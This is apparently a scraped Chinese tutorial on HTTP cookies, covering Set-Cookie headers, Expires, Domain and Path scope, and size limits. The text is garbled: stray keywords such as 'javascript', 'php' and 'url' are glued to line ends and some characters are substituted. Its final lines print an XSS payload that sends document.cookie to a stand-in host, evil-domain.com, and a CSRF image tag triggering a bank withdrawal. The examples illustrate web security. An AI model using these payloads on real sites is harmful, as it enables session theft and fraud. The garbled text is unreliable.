當服務器收到HTTP請求時,服務器能夠在響應頭裏面添加一個Set-Cookie選項。
瀏覽器收到響應後一般會保存下Cookie,
以後對該服務器每一次請求中都經過Cookie請求頭部將Cookie信息發送給服務器。
另外,Cookie的過時時間、域、路徑、有效期、適用站點均可以根據須要來指定。javascript
服務器使用Set-Cookie響應頭部向用戶代理(通常是瀏覽器)發送Cookie信息。一個簡單的Cookie可能像這樣:php
Set-Cookie: <cookie名>=<cookie值> response.setHeader('Set-Cookie', ['type=ninja','username=123qad', 'language=javascript']);
組成java
默認是瀏覽器關閉就清掉, 通常會設置 指定過時時間(Expires)或者有效期(Max-Age)
須要注意的是,有些瀏覽器提供了會話恢復功能,這種狀況下即便關閉了瀏覽器,會話期Cookie也會被保留下來,就好像瀏覽器歷來沒有關閉同樣。瀏覽器
Set-Cookie: id=a3fWa; Expires=Wed, 21 Oct 2015 07:28:00 GMT;
Domain (域名)和 Path 標識定義了Cookie的做用域:即Cookie應該發送給哪些URL。安全
Cookie 的Domain 屬性能夠設置 Cookie 發送哪些 url,默認是在當前域名下,但有時候咱們可能幾個站點想共享Cookie 信息
比方 qq空間(qq.tentxun.com)登錄了,我想點進 qq 郵箱(mail.tenxun.com), 那要是再登錄一次,用戶爸爸確定受不了,因此經過設置
cookie 的 domain 爲 ".tenxun.com",從 qq空間點擊連接 進入 qq 郵箱, qq郵箱 經過 cookie 信息,獲取用戶信息,就能夠不用再次登錄了服務器
若是設置 Domain=mozilla.org,則Cookie也包含在子域名中(如developer.mozilla.org)。cookie
4097個字節, 多了瀏覽器會默默刪掉dom
var cookie = document.cookie; document.cookie = "username=tt";
(new Image()).src = "http://www.evil-domain.com/steal-cookie.php?cookie=" + document.cookie;加密
<img src="http://bank.example.com/withd...;amount=1000000&for=mallory">url